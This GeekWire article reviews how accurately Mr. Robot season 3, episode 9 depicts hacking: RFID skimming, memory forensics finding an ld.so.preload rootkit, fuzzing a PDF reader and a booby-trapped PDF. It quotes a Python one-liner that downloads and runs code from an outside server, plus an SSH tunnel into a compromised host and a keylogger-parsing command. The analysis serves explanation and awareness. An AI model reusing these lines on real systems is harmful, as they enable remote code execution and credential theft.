Elliot (Rami Malek) in Mr. Robot Season 3, Episode 9. (USA Network Photo)

[Spoiler Alert] This article delves deep into the technical guts of Mr. Robot episode 9 (eps3.8_stage3.torrent). Though it focuses on the show’s hacks, it might describe key plots points too. Only continue if you’ve seen the latest episode.

LATEST IN A SERIES: Corey Nachreiner, CTO at Seattle-based WatchGuard Technologies, is reviewing episodes of Mr. Robot on GeekWire. The show airs on USA Network on Wednesdays at 10 p.m. Join the conversation on Twitter using #MrRobotRewind, and follow Corey @SecAdept.

Hello Friend. Hacker Elliot is back!

After a short flashback scene, this episode starts where the last left off; with Elliot considering the implications of Trenton’s email. He needs to hack the FBI if he wants to get his hands on Romero’s hardware keyloggers. Only, it seems Mr. Robot is up to some hacks of his own…

This is all good news for the Mr. Robot Rewind series, as its express purpose is to analyze the hacking accuracy, or hackuracy, of each episode. With sparse hacks throughout the last few episodes, it’s great to dig into some deep hacking analysis again. So, let’s get to it.

Planning to Infiltrate the FBI’s Sentinel

Last week’s episode ended with Elliot receiving a secure email from Trenton, the now deceased Fsociety team member. That email essentially said that Romero (another deceased Fsociety hacker) had installed hardware keyloggers on all the Fsociety computers. If Elliot can recover theses keyloggers, he might be able to decrypt all E Corp’s files, thus reversing the Stage 1 or “5/9” hack. According to Trenton’s email, the FBI has these keyloggers in their evidence storage system.

Elliot fills his sister in on Trenton’s email, and they discuss the FBI’s evidence storage system, called Sentinel, which Darlene describes as, “the Fort Knox of closed networks.” Elliot’s plan is to infiltrate this FBI system to recover these keyloggers himself, but Darlene convinces him to let her try first.

Figure 1: Elliot browses FBI Sentinel audit documents

Although not a hack, the system Elliot and Darlene are discussing is very legitimate. If you haven’t heard of it, Sentinel is the software-based case management system that the FBI completed in July 2012. In essence, it’s a huge, searchable database of all their case files, including their evidence management system. Previously, they used traditional paper systems to store case records, but now FBI agents can search this electronic database to quickly find documents and other assets related to specific cases. In short, Sentinel is a real system, and likely a highly secured one.

On top of that, the Sentinel documents you see Elliot looking at are real too. If you look closely at the title of that document, it’s an audit on the status of the Sentinel system. Search the Internet and you’ll quickly find public documents like this one that look very similar. While some of these public documents have been redacted, they’d still make great research material for a hacker trying to learn more about a closed system like Sentinel.

Darlene’s Failed RFID Skimming

In any case, the scene ends with Elliot agreeing to let Darlene try her scheme to gain access to Sentinel. How will she do it? By taking advantage of her relationship with an FBI agent—Dom to be specific.

Darlene invites Dom back to the same bar where they first had a personal chat. Dom arrives at this bar with all her usual FBI regalia, such as her badge, gun, and the RFID keycard used to digitally authenticate her as an agent.

Figure 2: Dom’s FBI RFID keycard

After chatting for a bit, Darlene excuses herself to the bathroom, and you quickly see how she initially planned to leverage Dom. She had a “Tastic RFID Thief” hidden in her backpack.

Figure 3: Darlene’s real-life RFID skimming device

As you might have guessed, this is a hardware device designed to read and steal the digital information from RFID cards in close proximity. If you’re wondering how accurate this scene is, Darlene actually used one that exists in real life. The Tastic RFID Thief, by Bishop Fox, is a real device that anyone can make. That site actually includes all the free plans and software you need. With this device, security researchers can demonstrate how attackers might steal the information from these RFID cards from up to 3 feet away. Yet another realistic hack from the Mr. Robot writers.

However, in another accurate twist, this RFID hack actually fails. You can see by the output of the LCD, Darlene’s skimmer did not successfully get Dom’s RFID badge information. Time for plan B.

Darlene decides to seduce Dom. Eventually, she ends up in Dom’s apartment for a night cap. I suspect Darlene was simply hoping to find a moment to swipe Dom’s badge, but as we know from previous episodes, Dom has quite the security routine. To Darlene’s dismay, Dom pauses the encounter to place her badge, gun, and RFID card into her safe.

Figure 4: Dom’s strong OpSec skills protect her critical assets

Darlene, however, isn’t one to give up. Later that night, Darlene sneaks out of bed to the safe. You might remember that Darlene has already established herself as a savvy safe cracker. More importantly, she was able to “shoulder surf” Dom as she first entered the safe code. That gave Darlene both the number of digits for the combination, and the general location of Dom’s fingers. After a few tries, Darlene cracks Dom’s safe code (plausible with the information she had). Unfortunately for Darlene, Dom caught her in the act. Ultimately, Darlene’s attempt to get Dom’s FBI key card to use in their Sentinel attack was an epic fail (though a realistic one).

Elliot’s Car Hack Grabs the Dark Army’s Attention

After trusting Darlene with the Sentinel hack, Elliot focuses on targeting the Dark Army (DA), through Irving. Early in the episode, we see Irving hard at work in his “cover” job as a used car salesman. While on a test drive, Irving’s car suddenly dies in the middle of the road, and Elliot enters. Really, you don’t see any details about how Elliot hijacked this car, but we can presume he accomplished it in the same way that Irving did in a previous episode. In that episode, Irving calls the NYPD posing as a detective, and leverages the polices partnership with OnStar to disable the vehicle.

When Elliot enters, he admits as much by saying he called OnStar, and the cops are on the way. You already know from my previous article that this police and OnStar relationship is real, but the show adds an interesting additional detail this time. Elliot tells Irving, “you know what to do,” and you see Irving tape up something in the car.

Figure 5: Irving tapes up the car mics

I believe Irving is taping over the microphones in the car. Modern automobiles often have mics to make it easier for you to use Bluetooth hands-free systems to do things like make calls. OnStar actually has access to many systems in your car, including mics. In the event of some emergency, where their system detects an accident but you don’t respond, they can listen in on these mics to see what’s up. I suspect Irving taped the mics to keep their conversation private. This is a minor new detail to a car hack we’ve seen before, but one that adds nuance to an already realistic scenario.

Hacking Back the Dark Army

This car hack was Elliot’s way to get the DA’s attention and try to win a meeting with whiterose. He hints at a new “Stage 3” attack targeting E Corp’s Ecoin. However, this story is likely just a front to get the DA to agree to a meeting. After hijacking Irving’s test drive, Elliot heads home to find Leon in his apartment. Uh-Oh, that could be bad!

Luckily, Leon was only there to chaperone him to a meeting with the DA. Though Elliot might have been hoping for whiterose, he gets Grant—whiterose’s second in command. During this meeting, Grant orders Elliot to unlock his laptop and then a DA agent plugs a USB key into it.

Figure 6: Dark Army agents plug a suspicious USB key into Elliot’s laptop

Grant plays off this USB interaction as the DA pulling the Stage 3 plans from Elliot’s laptop. However, I presume you—like me—suspected there was more to this story. In fact, I immediately assumed Elliot had predicted and staged this interaction. I assumed he had already booby-trapped a file on his laptop for the DA to steal. Later, you indeed learn that Elliot expected the DA to manhandle his laptop, but exactly how he leveraged the situation went well beyond my initial expectations.

After this meeting, in the final scenes of the episode, we finally see enough of Elliot’s hacking screens to get the gist of what exactly he did to hack the DA. I will admit, some of the details seem to be missing, so we have to make a few logical leaps, but I think the evidence is there. Let’s analyze each of these screens.

The first thing we see Elliot do is open a terminal and run a Python script called “vol.py” a number of times.

Figure 7: Elliot uses the Volatility Framework to find malware on his computer

This script is a component from a real and popular memory forensic tool called the Volatility Framework. Forensic researchers use tools like this to find and track sophisticated malware or rootkits running in the memory of an infected system. They start by creating a file copy of a target system’s memory, after which they can run various queries to find out what was happening on the system.

In the screen shot above, Elliot ran many different types of Volatility queries. I’m not going to parse through every parameter of every command, but take my word for it; this screen represents accurate usage of the Volatility tool. Instead, let me give you the gist of the six commands we see:

  • The first command searches a copy of memory (out.mem) for a specific file called /etc/ld.so.preload. There’s a lot to analyze in this command right away. First, we never see Elliot run the commands necessary to grab a copy of the target computer’s memory. We frankly don’t know for sure which computer’s memory Elliot is analyzing. However, based on what we continue to learn in this scene, my logical guess is he is analyzing the memory of his own laptop; the one the Dark Army plugged the USB key into.

Why is he searching for the file /etc/ld.so.preload? Without going into all the technical specifics of how Linux systems work, LD_PRELOAD is a component that allows users to create a list of shared function libraries (.so files in Linux) that load before others. However, there are limitations to LD_PRELOAD, since selecting which shared libraries a computer uses gives users the ability to override standard functions with malicious ones. The file /etc/ld.so.preload is essentially the same, however, it doesn’t suffer as many permission limitations since it resides in the /etc/ directory, which requires root permissions. In any case, attackers have found that having the ability to control which shared libraries get preloaded is perfect for creating rootkits. For instance, you can create a preloaded library that overrides the normal function used to list files from a directory and replace that function with a malicious one. Then when a user runs the command (ls) to see what files are in a directory, your malicious function might hide certain files from the user.

The use of LD_PRELOAD and ld.so.preload for real life Linux rootkits is well known among security researchers. If you really want to delve into the details, you can find many different resources describing the use of these components in rootkits.

To summarize, this first command immediately seems to suggest that Elliot thinks there is a rootkit on his laptop. Let’s continue to learn how he finds it.

  • The result of the first command is the memory location for the /etc/ld.so.preload In the second command, Elliot refines his vol.py query to output that memory location to a physical file called ld.so.preload. So, he now has a physical copy of the file that was running in the victim computer’s memory. As an aside, it looks like he misspelled his output file, and has an extra space (ld.so.­­­_preload), but I’ll give the show a pass on that.
  • In the third line, he runs the “cat” command on that so.preload file, and he finds the name of a shared library it was loading called /usr/local/lib/libhd.so. This is not a standard library, and definitely feels like something bad the DA added to his computer.
  • He then uses a Volatility command that tells him more about the so file. This command gives him the Process ID (Pid) for that shared library, which is 39238.
  • Then he runs a Volatility command to get some details about that Pid, and gets this in return:

python -c import urllib;exec urllib.urlopen(“http://192.251.68.228/index”).read()

This is a simple Python instruction to download and run anything from that particular HTTP command and control server. In short, all of this is evidence that the DA infected his laptop with well-hidden malware, and they probably have full control to take anything from his laptop.

  • Lastly, Elliot runs one last command, to dump all the contents of that Pid (likely for later analysis), but by now you already should have the gist. Even though this screen only shows up for a few seconds, it contains a wealth of information that suggests Elliot is doing forensics on his computer to find buried malware. This was actually a surprise to me, since on my initial viewing I had presumed the DA downloaded malware off of his laptop directly. That is not the case.

We have one piece to the puzzle of what Elliot’s up to, but as complex as that last section was, there’s more to go. It also looks like Elliot is looking for zero day vulnerabilities in a PDF viewer. Let’s look at the next clue.

Figure 8: Elliot fuzzing and debugging

This screen shows us two things, a popular fuzz testing application, and a software debugger. I’ll cover both these apps, but first let’s explore why security researchers (or black hats) use them.

Many software vulnerabilities result from engineers not sanitizing the various data and user inputs in their programs. Basically, every time a program takes an input, it has to store it in memory properly. When your program allows for user inputs, it gives the user potential power to give your program data it’s not expecting. If your program isn’t written to validate and sanitize those inputs before accepting them, it might load data that corrupts memory space.

The most infamous of memory corruption vulnerabilities is something called a buffer overflow flaw. Basically, a malicious user gives your program much more data than it’s expecting, causing a memory buffer to overflow into another area of memory. In some cases, this leads to overwriting executable memory, and then attackers can leverage these flaws to execute any code they want.

In order to exploit these types of flaws, researchers or attackers must first find them. One method of finding them is called fuzz testing. Fuzz testers are simply applications designed to programmatically enter lots of random data into any target program’s “inputs.” The idea being, eventually the fuzz testing application might stumble upon a particular set of data that crashes the target program, usually by causing some sort of memory corruption. In the left screen, you actually see a real fuzz testing application called American Fuzzy Lop (afl-fuzz) running, which suggests Elliot is looking for a zero day software vulnerability.

Now, not all memory corruption vulnerabilities are exploitable to execute code. It depends where in memory the flaw resides. Once researchers find these sorts of flaws, they open software debuggers to learn more about where the corrupted memory is located, how much memory space they have to work with, and other things. But eventually, smart researchers can turn many memory corruption flaws into code execution exploits. In the right screen, you see Elliot using GNU Debugger (GDB), a popular open source debugger, likely to learn how he might exploit the flaw he found.

More importantly, we also see the first hint at what program he’s examining for flaws. In the screen shot, you might notice a reference to something called Evince. Evince is the basic PDF reader that comes with many (Gnome-based) Linux systems. In the past, PDF document readers have been a rich source of zero day code execution flaws. To most Windows or Mac users, Adobe Reader or FoxIt are popular targets for potential vulnerabilities. However, if you’re going after a Linux user, Evince would be a top choice.

In a later shot, we also see that Elliot’s fuzzing command seems to have found a usable vulnerability for Evince.

Figure 9: Evidence that Elliot found an input flaw that crashed Evince

We also see what appears to be Elliot creating a malicious PDF file called ecoin_vuln_notes.pdf, which contains some sort of shellcode that will allow him to take over any Linux computer that opens that file in Evince.

Figure 10: Elliot creates a malicious PDF containing shellcode

At this point, you should get the general idea behind Elliot’s plan. He used a forensic tool to confirm the DA has hijacked his computer, and is probably monitoring and stealing anything on his machine. Then he creates a malicious PDF file, in hopes to lure the DA to download and open in. ­

We see this happen in a scene where one DA operative tells another to get back to work monitoring what seems to be a botnet army. There we see the DA botnet operator open the Ecoin PDF file Elliot made, thereby infecting the computer.

Figure 11: Dark Army operative falls for Elliott’s booby-trapped PDF file

That malicious PDF would have executed malicious code. It’s hard to say exactly what the code will do, but the next screen gives us a small hint.

Figure 12: Elliot’s mysterious command and control channel

I can’t read all of the left side of the screen, so there is some missing information, but on the right side of the screen, we see Elliot connecting to the DA computer using this command:

ssh garyhost@172.17.0.2 -q –C –D 22381

SSH, of course, is secure shell. It allows you to make secure (encrypted) remote terminal connections to other computers. Elliot is connecting to an address that falls within a “private” address range (172.16.0.0/16). This means that address is NOT routable on the Internet. To me, this suggests that Elliot’s malware somehow made a reverse connection back to Elliot, and is providing some sort of “tunnel” to the Dark Army’s private network, which is why he can now SSH to that private computer.

The rest of the SSH parameters are pretty simple, but show that Elliot is working hard to obfuscate this backdoor command and control. The –q parameter just puts SSH in quiet mode, so it doesn’t report as much on screen. The –C parameter adds data compression, to speed the connection up some. But most importantly, the –D parameter uses something called “Dynamic Application-level port forwarding” on port 22381. In short, any connection made to that port will be tunneled through this secure SSH.

Once this command works, Elliot has full terminal access on a DA operative’s computer, and potentially access to the rest of that local network.

Finally, we see Elliot run another command, as seen in the screenshot below.

Figure 13: Elliot looking for the contents for a non-existent file

Elliot runs:

cat /dev/nu11 | sed ‘s/\[ENTR\]/&\n/g’ | grep -C 1 -i garyhost

Though this may look complex, it’s actually just three commands “piped” (|) together. Let’s break them down:

  • First, Elliot runs cat /dev/nu11. This is really weird, and I feel like we are missing a critical piece of information. As you saw before, cat just displays the text contents of a file. You would rarely see someone cat the real /dev/null file since it is a very special one. It is known as the null device, and any data written to it is essentially deleted. However, notice that Elliot is trying to look at a slightly different file called /dev/nu11. There is no such default file on a Posix system, so this has to be some type of file that Elliot, or one of his programs created earlier. Since you never see where this file comes from, we can only guess at what it is. However, the results of this command might give us some hints.
  • Elliot pipes the cat command through the sed Sed is the stream editor command – a powerful one that can allow you to edit the format of text in real-time. I won’t explain all the parameters of the sed command Elliot uses, but basically whenever sed sees the text “[ENTR]” in the text outputted from /dev/nu11, it will add a carriage return and go to the next line. This probably just makes it easier to read the output of /dev/nu11.
  • Lastly, we see grep -C 1 -i garyhost. Grep is simply a command to search for patterns in text. Essentially this command is looking for “garyhost,” regardless of case, in the text output from the previous commands.

We also see the results of these commands. You see an IP address, the name, “garyhost”, and what appears to be a password, which was all found within the /dev/nu11 file. The “[ENTR]” strings and “[BS]” strings look like the types of things a keylogger would show to represent keys like return and backspace. All this leads me to believe that /dev/nu11 is a file representing the output of a keylogger on the DA operative’s systems. We never see this keylogger get there, but I suspect the malicious PDF file probably installed it. If you pay attention to the backspaces, this means Elliot now knows a DA user’s alias and credentials—garyhost and hunter2.

With this information, Elliot goes to that IP address, and logs in with the credentials. Based on the screen we see, Elliot now appears to have control of the DA’s botnet. As an aside, the web-based botnet command and control interface you see is very similar to many real-world botnets like Zeus, Citadel, and Betabot.

Figure 14: Elliot now controls the Dark Army’s bot army

Passive viewers probably figured out that Elliot hacked the Dark Army computers using some trick involving the meeting and his laptop. However, if you don’t actually pause and analyze each screen, I doubt even technical users realized how sophisticated and complex this attack was. As you can probably tell by my detailed write-up, every aspect of this attack is extremely accurate. There is much more packed into these screenshots than most will realize.

That said, there were a few cut corners and time considerations the show glossed over. Things like fuzzing and debugging take quite a bit of time and expertise. They wouldn’t have happened in the extremely short period of time we saw in the scene. We also didn’t seem to see every aspect of this hack. For instance, I can only guess how that /dev/nu11 file got on the DA computer, though I presume my assumption is right. All that said, most of this scene was super realistic, so we can chalk those minor shortcuts up to creative license.

Easter Eggs and Odds ‘n’ Ends

As usual, this episode was full of many other hidden gems and interesting tidbits, but since I’ve spend so much time explaining the significant technical hacks, I’ll make this section quick:

  • Go to any IPs you see in the screenshots above. There are lots of fun things to find like a Chinese botnet command and control login, or data hidden in a corrupted file.
  • The username, garyhost, is no accident. It actually relates to a well-known cyber activist Aaron Swartz.
  • There were lots of relationship reveals this episode! I expected Domleen, but was somewhat surprised by Grantrose (though it became apparent before the kiss).
  • While we heard a bit more about the FBI Sentinel hack this episode, Darlene’s attempts failed, and she’s currently in deep trouble. That said, I think that hack may still happen, and we might see it during the final episode.
  • If you follow the Mr. Robot ARG, and have an Ecoin perks account, you might have noticed a teaser video before this episode from Kor Adana. Did you know that teaser also contains an Easter egg? I won’t spoil it for those that want to find it themselves, but it’s a trick the show used before last season, and involves audio.

Learning from Mr. Robot: Watch out for RFID skimmers

While there are tons information security lessons you can learn from Elliot’s Dark Army hack, I want to focus on Darlene’s comparably simple RFID attack this week. It ultimately didn’t succeed; however, you should know that tools exist to copy RFID or NFC cards. If you carry any credit cards or key cards using this technology, I recommend you use a special Faraday wallet to prevent proximity hackers from skimming them.

That completes yet another exciting, hacked-filled Mr. Robot Rewind. We only have one more episode to go this season, so be sure to join me for the finale hackuracy analysis next week. As always, I’d love to hear your thoughts and comments below.

Like what you're reading? Subscribe to GeekWire's free newsletters to catch every headline

Job Listings on GeekWork

Find more jobs on GeekWork. Employers, post a job here.